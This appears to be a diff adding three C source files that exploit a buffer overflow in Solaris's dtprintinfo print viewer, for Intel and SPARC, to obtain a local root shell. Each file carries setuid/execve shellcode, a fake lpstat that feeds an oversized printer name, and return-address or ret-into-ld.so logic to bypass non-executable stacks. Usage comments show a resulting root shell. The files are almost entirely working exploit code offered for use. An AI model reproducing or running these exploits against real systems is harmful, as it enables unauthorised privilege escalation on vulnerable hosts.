-
1 + /* 2 + * raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel 3 + * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]> 4 + * 5 + * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 + * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 + * and for his interesting research activities on Solaris/SPARC. 8 + * 9 + * "None of my dtprintinfo work is public, other than that 0day pack being 10 + * leaked to all hell and back. It should all basically still work. Let's 11 + * keep it that way, cool? :>" -- Dave Aitel 12 + * 13 + * This exploit uses the ret-into-ld.so technique to bypass the non-exec 14 + * stack protection. If experiencing troubles with null-bytes inside the 15 + * ld.so.1 memory space, try returning to sprintf() instead of strcpy(). 16 + * 17 + * Usage: 18 + * $ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall 19 + * [on your xserver: disable the access control] 20 + * $ ./raptor_dtprintname_intel 192.168.1.1:0 21 + * [...] 22 + * # id 23 + * uid=0(root) gid=1(other) 24 + * # 25 + * 26 + * Tested on: 27 + * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) 28 + * [previous Solaris versions are also vulnerable] 29 + */ 30 + 31 + #include <fcntl.h> 32 + #include <link.h> 33 + #include <procfs.h> 34 + #include <stdio.h> 35 + #include <stdlib.h> 36 + #include <strings.h> 37 + #include <unistd.h> 38 + #include <sys/systeminfo.h> 39 + 40 + #define INFO1 "raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel" 41 + #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>" 42 + 43 + #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 44 + #define BUFSIZE 301 // size of the printer name 45 + 46 + char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ 47 + /* double setuid() */ 48 + "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 49 + "\x31\xc0\x50\x50\xb0\x17\xcd\x91" 50 + /* execve() */ 51 + "\x31\xc0\x50\x68/ksh\x68/bin" 52 + "\x89\xe3\x50\x53\x89\xe2\x50" 53 + "\x52\x53\xb0\x3b\x50\xcd\x91"; 54 + 55 + /* globals */ 56 + char *env[256]; 57 + int env_pos = 0, env_len = 0; 58 + 59 + /* prototypes */ 60 + int add_env(char *string); 61 + void check_zero(int addr, char *pattern); 62 + int search_ldso(char *sym); 63 + int search_rwx_mem(void); 64 + void set_val(char *buf, int pos, int val); 65 + 66 + /* 67 + * main() 68 + */ 69 + int main(int argc, char **argv) 70 + { 71 + char buf[BUFSIZE], ksh_var[16]; 72 + char platform[256], release[256], display[256]; 73 + int i, offset, sc_addr, ksh_pos; 74 + int plat_len, prog_len; 75 + 76 + char *arg[2] = {"foo", NULL}; 77 + int sb = ((int)argv[0] | 0xfff); /* stack base */ 78 + int ret = search_ldso("strcpy"); /* or sprintf */ 79 + int rwx_mem = search_rwx_mem(); /* rwx memory */ 80 + 81 + /* fake lpstat code */ 82 + if (!strcmp(argv[0], "lpstat")) { 83 + 84 + /* check command line */ 85 + if (argc != 2) 86 + exit(1); 87 + 88 + /* get the shellcode address from the environment */ 89 + sc_addr = (int)strtoul(getenv("KSH"), (char **)NULL, 0); 90 + 91 + /* prepare the evil printer name */ 92 + memset(buf, 'A', sizeof(buf)); 93 + buf[sizeof(buf) - 1] = 0x0; 94 + 95 + /* fill with ld.so.1 address, saved eip, and arguments */ 96 + for (i = 0; i < BUFSIZE; i += 4) { 97 + set_val(buf, i, ret); /* strcpy */ 98 + set_val(buf, i += 4, rwx_mem); /* saved eip */ 99 + set_val(buf, i += 4, rwx_mem); /* 1st argument */ 100 + set_val(buf, i += 4, sc_addr); /* 2nd argument */ 101 + } 102 + 103 + /* print the expected output and exit */ 104 + if(!strcmp(argv[1], "-v")) { 105 + fprintf(stderr, "lpstat called with -v\n"); 106 + printf("device for %s: /dev/null\n", buf); 107 + } else { 108 + fprintf(stderr, "lpstat called with -d\n"); 109 + printf("system default destination: %s\n", buf); 110 + } 111 + exit(0); 112 + } 113 + 114 + /* print exploit information */ 115 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 116 + 117 + /* read command line */ 118 + if (argc != 2) { 119 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 120 + exit(1); 121 + } 122 + sprintf(display, "DISPLAY=%s", argv[1]); 123 + 124 + /* get some system information */ 125 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 126 + sysinfo(SI_RELEASE, release, sizeof(release) - 1); 127 + 128 + /* fill the envp, keeping padding */ 129 + add_env(sc); 130 + ksh_pos = env_pos; 131 + add_env("KSH=0x42424242"); 132 + add_env(display); 133 + add_env("PATH=.:/usr/bin"); 134 + add_env("HOME=/tmp"); 135 + add_env(NULL); 136 + 137 + /* calculate the offset to the shellcode */ 138 + plat_len = strlen(platform) + 1; 139 + prog_len = strlen(VULN) + 1; 140 + offset = 5 + env_len + plat_len + prog_len; 141 + 142 + /* calculate the shellcode address */ 143 + sc_addr = sb - offset; 144 + 145 + /* overwrite the KSH env var with the right address */ 146 + sprintf(ksh_var, "KSH=0x%x", sc_addr); 147 + env[ksh_pos] = ksh_var; 148 + 149 + /* create a symlink for the fake lpstat */ 150 + unlink("lpstat"); 151 + symlink(argv[0], "lpstat"); 152 + 153 + /* print some output */ 154 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 155 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 156 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 157 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 158 + fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 159 + 160 + /* run the vulnerable program */ 161 + execve(VULN, arg, env); 162 + perror("execve"); 163 + exit(0); 164 + } 165 + 166 + /* 167 + * add_env(): add a variable to envp and pad if needed 168 + */ 169 + int add_env(char *string) 170 + { 171 + int i; 172 + 173 + /* null termination */ 174 + if (!string) { 175 + env[env_pos] = NULL; 176 + return(env_len); 177 + } 178 + 179 + /* add the variable to envp */ 180 + env[env_pos] = string; 181 + env_len += strlen(string) + 1; 182 + env_pos++; 183 + 184 + /* pad the envp using zeroes */ 185 + if ((strlen(string) + 1) % 4) 186 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 187 + env[env_pos] = string + strlen(string); 188 + env_len++; 189 + } 190 + 191 + return(env_len); 192 + } 193 + 194 + /* 195 + * check_zero(): check an address for the presence of a 0x00 196 + */ 197 + void check_zero(int addr, char *pattern) 198 + { 199 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 200 + !(addr & 0xff000000)) { 201 + fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 202 + exit(1); 203 + } 204 + } 205 + 206 + /* 207 + * search_ldso(): search for a symbol inside ld.so.1 208 + */ 209 + int search_ldso(char *sym) 210 + { 211 + int addr; 212 + void *handle; 213 + Link_map *lm; 214 + 215 + /* open the executable object file */ 216 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 217 + perror("dlopen"); 218 + exit(1); 219 + } 220 + 221 + /* get dynamic load information */ 222 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 223 + perror("dlinfo"); 224 + exit(1); 225 + } 226 + 227 + /* search for the address of the symbol */ 228 + if ((addr = (int)dlsym(handle, sym)) == NULL) { 229 + fprintf(stderr, "sorry, function %s() not found\n", sym); 230 + exit(1); 231 + } 232 + 233 + /* close the executable object file */ 234 + dlclose(handle); 235 + 236 + check_zero(addr - 4, sym); 237 + return(addr); 238 + } 239 + 240 + /* 241 + * search_rwx_mem(): search for an RWX memory segment valid for all 242 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 243 + */ 244 + int search_rwx_mem(void) 245 + { 246 + int fd; 247 + char tmp[16]; 248 + prmap_t map; 249 + int addr = 0, addr_old; 250 + 251 + /* open the proc filesystem */ 252 + sprintf(tmp,"/proc/%d/map", (int)getpid()); 253 + if ((fd = open(tmp, O_RDONLY)) < 0) { 254 + fprintf(stderr, "can't open %s\n", tmp); 255 + exit(1); 256 + } 257 + 258 + /* search for the last RWX memory segment before stack (last - 1) */ 259 + while (read(fd, &map, sizeof(map))) 260 + if (map.pr_vaddr) 261 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 262 + addr_old = addr; 263 + addr = map.pr_vaddr; 264 + } 265 + close(fd); 266 + 267 + /* add 4 to the exact address NULL bytes */ 268 + if (!(addr_old & 0xff)) 269 + addr_old |= 0x04; 270 + if (!(addr_old & 0xff00)) 271 + addr_old |= 0x0400; 272 + 273 + return(addr_old); 274 + } 275 + 276 + /* 277 + * set_val(): copy a dword inside a buffer (little endian) 278 + */ 279 + void set_val(char *buf, int pos, int val) 280 + { 281 + buf[pos] = (val & 0x000000ff); 282 + buf[pos + 1] = (val & 0x0000ff00) >> 8; 283 + buf[pos + 2] = (val & 0x00ff0000) >> 16; 284 + buf[pos + 3] = (val & 0xff000000) >> 24; 285 + } 286 + -
1 + /* 2 + * raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC 3 + * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]> 4 + * 5 + * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 + * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 + * and for his interesting research activities on Solaris/SPARC. 8 + * 9 + * "None of my dtprintinfo work is public, other than that 0day pack being 10 + * leaked to all hell and back. It should all basically still work. Let's 11 + * keep it that way, cool? :>" -- Dave Aitel 12 + * 13 + * Usage: 14 + * $ gcc raptor_dtprintname_sparc.c -o raptor_dtprintname_sparc -Wall 15 + * [on your xserver: disable the access control] 16 + * $ ./raptor_dtprintname_sparc 192.168.1.1:0 17 + * [...] 18 + * # id 19 + * uid=0(root) gid=10(staff) 20 + * # 21 + * 22 + * Tested on: 23 + * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1 24 + * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 25 + * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10 26 + * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking] 27 + */ 28 + 29 + #include <stdio.h> 30 + #include <stdlib.h> 31 + #include <strings.h> 32 + #include <unistd.h> 33 + #include <sys/systeminfo.h> 34 + 35 + #define INFO1 "raptor_dtprintname_sparc.c - dtprintinfo 0day, Solaris/SPARC" 36 + #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>" 37 + 38 + #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 39 + #define BUFSIZE 301 // size of the printer name 40 + 41 + /* voodoo macros */ 42 + #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 43 + #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 44 + 45 + char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ 46 + /* double setuid() */ 47 + "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 48 + "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 49 + /* execve() */ 50 + "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 51 + "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 52 + "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 53 + 54 + /* globals */ 55 + char *env[256]; 56 + int env_pos = 0, env_len = 0; 57 + 58 + /* prototypes */ 59 + int add_env(char *string); 60 + void set_val(char *buf, int pos, int val); 61 + 62 + /* 63 + * main() 64 + */ 65 + int main(int argc, char **argv) 66 + { 67 + char buf[BUFSIZE], var[16]; 68 + char platform[256], release[256], display[256]; 69 + int i, offset, ret, var_pos; 70 + int plat_len, prog_len, rel; 71 + 72 + char *arg[2] = {"foo", NULL}; 73 + int arg_len = 4, arg_pos = 1; 74 + 75 + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 76 + 77 + /* fake lpstat code */ 78 + if (!strcmp(argv[0], "lpstat")) { 79 + 80 + /* check command line */ 81 + if (argc != 2) 82 + exit(1); 83 + 84 + /* get ret address from environment */ 85 + ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); 86 + 87 + /* prepare the evil printer name */ 88 + memset(buf, 'A', sizeof(buf)); 89 + buf[sizeof(buf) - 1] = 0x0; 90 + 91 + /* fill with return address */ 92 + for (i = 0; i < BUFSIZE; i += 4) 93 + set_val(buf, i, ret - 8); 94 + 95 + /* print the expected output and exit */ 96 + if(!strcmp(argv[1], "-v")) { 97 + fprintf(stderr, "lpstat called with -v\n"); 98 + printf("device for %s: /dev/null\n", buf); 99 + } else { 100 + fprintf(stderr, "lpstat called with -d\n"); 101 + printf("system default destination: %s\n", buf); 102 + } 103 + exit(0); 104 + } 105 + 106 + /* print exploit information */ 107 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 108 + 109 + /* read command line */ 110 + if (argc != 2) { 111 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 112 + exit(1); 113 + } 114 + sprintf(display, "DISPLAY=%s", argv[1]); 115 + 116 + /* get some system information */ 117 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 118 + sysinfo(SI_RELEASE, release, sizeof(release) - 1); 119 + rel = atoi(release + 2); 120 + 121 + /* fill the envp, keeping padding */ 122 + add_env(sc); 123 + var_pos = env_pos; 124 + add_env("RET=0x41414141"); 125 + add_env(display); 126 + add_env("PATH=.:/usr/bin"); 127 + add_env("HOME=/tmp"); 128 + add_env(NULL); 129 + 130 + /* calculate the offset to argv[0] (voodoo magic) */ 131 + plat_len = strlen(platform) + 1; 132 + prog_len = strlen(VULN) + 1; 133 + offset = arg_len + env_len + plat_len + prog_len; 134 + if (rel > 7) 135 + VOODOO64(offset, arg_pos, env_pos) 136 + else 137 + VOODOO32(offset, plat_len, prog_len) 138 + 139 + /* calculate the needed addresses */ 140 + ret = sb - offset + arg_len; 141 + 142 + /* overwrite the RET env var with the right ret address */ 143 + sprintf(var, "RET=0x%x", ret); 144 + env[var_pos] = var; 145 + 146 + /* create a symlink for the fake lpstat */ 147 + unlink("lpstat"); 148 + symlink(argv[0], "lpstat"); 149 + 150 + /* print some output */ 151 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 152 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 153 + fprintf(stderr, "Using ret address\t: 0x%p\n\n", (void *)ret); 154 + 155 + /* run the vulnerable program */ 156 + execve(VULN, arg, env); 157 + perror("execve"); 158 + exit(0); 159 + } 160 + 161 + /* 162 + * add_env(): add a variable to envp and pad if needed 163 + */ 164 + int add_env(char *string) 165 + { 166 + int i; 167 + 168 + /* null termination */ 169 + if (!string) { 170 + env[env_pos] = NULL; 171 + return(env_len); 172 + } 173 + 174 + /* add the variable to envp */ 175 + env[env_pos] = string; 176 + env_len += strlen(string) + 1; 177 + env_pos++; 178 + 179 + /* pad the envp using zeroes */ 180 + if ((strlen(string) + 1) % 4) 181 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 182 + env[env_pos] = string + strlen(string); 183 + env_len++; 184 + } 185 + 186 + return(env_len); 187 + } 188 + 189 + /* 190 + * set_val(): copy a dword inside a buffer 191 + */ 192 + void set_val(char *buf, int pos, int val) 193 + { 194 + buf[pos] = (val & 0xff000000) >> 24; 195 + buf[pos + 1] = (val & 0x00ff0000) >> 16; 196 + buf[pos + 2] = (val & 0x0000ff00) >> 8; 197 + buf[pos + 3] = (val & 0x000000ff); 198 + } 199 + -
1 + /* 2 + * raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC 3 + * Copyright (c) 2004-2019 Marco Ivaldi <[email protected]> 4 + * 5 + * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 + * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 + * and for his interesting research activities on Solaris/SPARC. 8 + * 9 + * "None of my dtprintinfo work is public, other than that 0day pack being 10 + * leaked to all hell and back. It should all basically still work. Let's 11 + * keep it that way, cool? :>" -- Dave Aitel 12 + * 13 + * This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able 14 + * to bypass the non-executable stack protection (noexec_user_stack=1 in 15 + * /etc/system). 16 + * 17 + * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory 18 + * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes). 19 + * 20 + * Usage: 21 + * $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall 22 + * [on your xserver: disable the access control] 23 + * $ ./raptor_dtprintname_sparc2 192.168.1.1:0 24 + * [...] 25 + * # id 26 + * uid=0(root) gid=10(staff) 27 + * # 28 + * 29 + * Tested on: 30 + * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1 31 + * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 32 + * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10 33 + * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking] 34 + */ 35 + 36 + #include <dlfcn.h> 37 + #include <fcntl.h> 38 + #include <link.h> 39 + #include <procfs.h> 40 + #include <stdio.h> 41 + #include <stdlib.h> 42 + #include <strings.h> 43 + #include <unistd.h> 44 + #include <sys/systeminfo.h> 45 + 46 + #define INFO1 "raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC" 47 + #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi <[email protected]>" 48 + 49 + #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 50 + #define BUFSIZE 301 // size of the printer name 51 + #define FFSIZE 64 + 1 // size of the fake frame 52 + #define DUMMY 0xdeadbeef // dummy memory address 53 + 54 + /* voodoo macros */ 55 + #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 56 + #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 57 + 58 + char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ 59 + /* double setuid() */ 60 + "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 61 + "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 62 + /* execve() */ 63 + "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 64 + "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 65 + "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 66 + 67 + /* globals */ 68 + char *env[256]; 69 + int env_pos = 0, env_len = 0; 70 + 71 + /* prototypes */ 72 + int add_env(char *string); 73 + void check_zero(int addr, char *pattern); 74 + int search_ldso(char *sym); 75 + int search_rwx_mem(void); 76 + void set_val(char *buf, int pos, int val); 77 + 78 + /* 79 + * main() 80 + */ 81 + int main(int argc, char **argv) 82 + { 83 + char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; 84 + char platform[256], release[256], display[256]; 85 + int i, offset, ff_addr, sc_addr, ret_pos, fpt_pos; 86 + int plat_len, prog_len, rel; 87 + 88 + char *arg[2] = {"foo", NULL}; 89 + int arg_len = 4, arg_pos = 1; 90 + 91 + int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 92 + int ret = search_ldso("strcpy"); /* or sprintf */ 93 + int rwx_mem = search_rwx_mem(); 94 + 95 + /* fake lpstat code */ 96 + if (!strcmp(argv[0], "lpstat")) { 97 + 98 + /* check command line */ 99 + if (argc != 2) 100 + exit(1); 101 + 102 + /* get ret and fake frame addresses from environment */ 103 + ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); 104 + ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); 105 + 106 + /* prepare the evil printer name */ 107 + memset(buf, 'A', sizeof(buf)); 108 + buf[sizeof(buf) - 1] = 0x0; 109 + 110 + /* fill with return and fake frame addresses */ 111 + for (i = 0; i < BUFSIZE; i += 4) { 112 + /* apparently, we don't need to bruteforce */ 113 + set_val(buf, i, ret - 4); 114 + set_val(buf, i += 4, ff_addr); 115 + } 116 + 117 + /* print the expected output and exit */ 118 + if(!strcmp(argv[1], "-v")) { 119 + fprintf(stderr, "lpstat called with -v\n"); 120 + printf("device for %s: /dev/null\n", buf); 121 + } else { 122 + fprintf(stderr, "lpstat called with -d\n"); 123 + printf("system default destination: %s\n", buf); 124 + } 125 + exit(0); 126 + } 127 + 128 + /* print exploit information */ 129 + fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 130 + 131 + /* read command line */ 132 + if (argc != 2) { 133 + fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 134 + exit(1); 135 + } 136 + sprintf(display, "DISPLAY=%s", argv[1]); 137 + 138 + /* get some system information */ 139 + sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 140 + sysinfo(SI_RELEASE, release, sizeof(release) - 1); 141 + rel = atoi(release + 2); 142 + 143 + /* prepare the fake frame */ 144 + bzero(ff, sizeof(ff)); 145 + 146 + /* 147 + * saved %l registers 148 + */ 149 + set_val(ff, i = 0, DUMMY); /* %l0 */ 150 + set_val(ff, i += 4, DUMMY); /* %l1 */ 151 + set_val(ff, i += 4, DUMMY); /* %l2 */ 152 + set_val(ff, i += 4, DUMMY); /* %l3 */ 153 + set_val(ff, i += 4, DUMMY); /* %l4 */ 154 + set_val(ff, i += 4, DUMMY); /* %l5 */ 155 + set_val(ff, i += 4, DUMMY); /* %l6 */ 156 + set_val(ff, i += 4, DUMMY); /* %l7 */ 157 + 158 + /* 159 + * saved %i registers 160 + */ 161 + set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ 162 + set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ 163 + set_val(ff, i += 4, DUMMY); /* %i2 */ 164 + set_val(ff, i += 4, DUMMY); /* %i3 */ 165 + set_val(ff, i += 4, DUMMY); /* %i4 */ 166 + set_val(ff, i += 4, DUMMY); /* %i5 */ 167 + set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ 168 + set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ 169 + 170 + /* fill the envp, keeping padding */ 171 + sc_addr = add_env(ff); 172 + add_env(sc); 173 + ret_pos = env_pos; 174 + add_env("RET=0x41414141"); 175 + fpt_pos = env_pos; 176 + add_env("FPT=0x42424242"); 177 + add_env(display); 178 + add_env("PATH=.:/usr/bin"); 179 + add_env("HOME=/tmp"); 180 + add_env(NULL); 181 + 182 + /* calculate the offset to argv[0] (voodoo magic) */ 183 + plat_len = strlen(platform) + 1; 184 + prog_len = strlen(VULN) + 1; 185 + offset = arg_len + env_len + plat_len + prog_len; 186 + if (rel > 7) 187 + VOODOO64(offset, arg_pos, env_pos) 188 + else 189 + VOODOO32(offset, plat_len, prog_len) 190 + 191 + /* calculate the needed addresses */ 192 + ff_addr = sb - offset + arg_len; 193 + sc_addr += ff_addr; 194 + 195 + /* set fake frame's %i1 */ 196 + set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ 197 + 198 + /* overwrite RET and FPT env vars with the right addresses */ 199 + sprintf(ret_var, "RET=0x%x", ret); 200 + env[ret_pos] = ret_var; 201 + sprintf(fpt_var, "FPT=0x%x", ff_addr); 202 + env[fpt_pos] = fpt_var; 203 + 204 + /* create a symlink for the fake lpstat */ 205 + unlink("lpstat"); 206 + symlink(argv[0], "lpstat"); 207 + 208 + /* print some output */ 209 + fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 210 + fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 211 + fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 212 + fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 213 + fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); 214 + fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 215 + 216 + /* run the vulnerable program */ 217 + execve(VULN, arg, env); 218 + perror("execve"); 219 + exit(0); 220 + } 221 + 222 + /* 223 + * add_env(): add a variable to envp and pad if needed 224 + */ 225 + int add_env(char *string) 226 + { 227 + int i; 228 + 229 + /* null termination */ 230 + if (!string) { 231 + env[env_pos] = NULL; 232 + return(env_len); 233 + } 234 + 235 + /* add the variable to envp */ 236 + env[env_pos] = string; 237 + env_len += strlen(string) + 1; 238 + env_pos++; 239 + 240 + /* pad the envp using zeroes */ 241 + if ((strlen(string) + 1) % 4) 242 + for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 243 + env[env_pos] = string + strlen(string); 244 + env_len++; 245 + } 246 + 247 + return(env_len); 248 + } 249 + 250 + /* 251 + * check_zero(): check an address for the presence of a 0x00 252 + */ 253 + void check_zero(int addr, char *pattern) 254 + { 255 + if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 256 + !(addr & 0xff000000)) { 257 + fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 258 + exit(1); 259 + } 260 + } 261 + 262 + /* 263 + * search_ldso(): search for a symbol inside ld.so.1 264 + */ 265 + int search_ldso(char *sym) 266 + { 267 + int addr; 268 + void *handle; 269 + Link_map *lm; 270 + 271 + /* open the executable object file */ 272 + if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 273 + perror("dlopen"); 274 + exit(1); 275 + } 276 + 277 + /* get dynamic load information */ 278 + if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 279 + perror("dlinfo"); 280 + exit(1); 281 + } 282 + 283 + /* search for the address of the symbol */ 284 + if ((addr = (int)dlsym(handle, sym)) == NULL) { 285 + fprintf(stderr, "sorry, function %s() not found\n", sym); 286 + exit(1); 287 + } 288 + 289 + /* close the executable object file */ 290 + dlclose(handle); 291 + 292 + check_zero(addr - 4, sym); 293 + return(addr); 294 + } 295 + 296 + /* 297 + * search_rwx_mem(): search for an RWX memory segment valid for all 298 + * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 299 + */ 300 + int search_rwx_mem(void) 301 + { 302 + int fd; 303 + char tmp[16]; 304 + prmap_t map; 305 + int addr = 0, addr_old; 306 + 307 + /* open the proc filesystem */ 308 + sprintf(tmp,"/proc/%d/map", (int)getpid()); 309 + if ((fd = open(tmp, O_RDONLY)) < 0) { 310 + fprintf(stderr, "can't open %s\n", tmp); 311 + exit(1); 312 + } 313 + 314 + /* search for the last RWX memory segment before stack (last - 1) */ 315 + while (read(fd, &map, sizeof(map))) 316 + if (map.pr_vaddr) 317 + if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 318 + addr_old = addr; 319 + addr = map.pr_vaddr; 320 + } 321 + close(fd); 322 + 323 + /* add 4 to the exact address NULL bytes */ 324 + if (!(addr_old & 0xff)) 325 + addr_old |= 0x04; 326 + if (!(addr_old & 0xff00)) 327 + addr_old |= 0x0400; 328 + 329 + return(addr_old); 330 + } 331 + 332 + /* 333 + * set_val(): copy a dword inside a buffer 334 + */ 335 + void set_val(char *buf, int pos, int val) 336 + { 337 + buf[pos] = (val & 0xff000000) >> 24; 338 + buf[pos + 1] = (val & 0x00ff0000) >> 16; 339 + buf[pos + 2] = (val & 0x0000ff00) >> 8; 340 + buf[pos + 3] = (val & 0x000000ff); 341 + } 342 +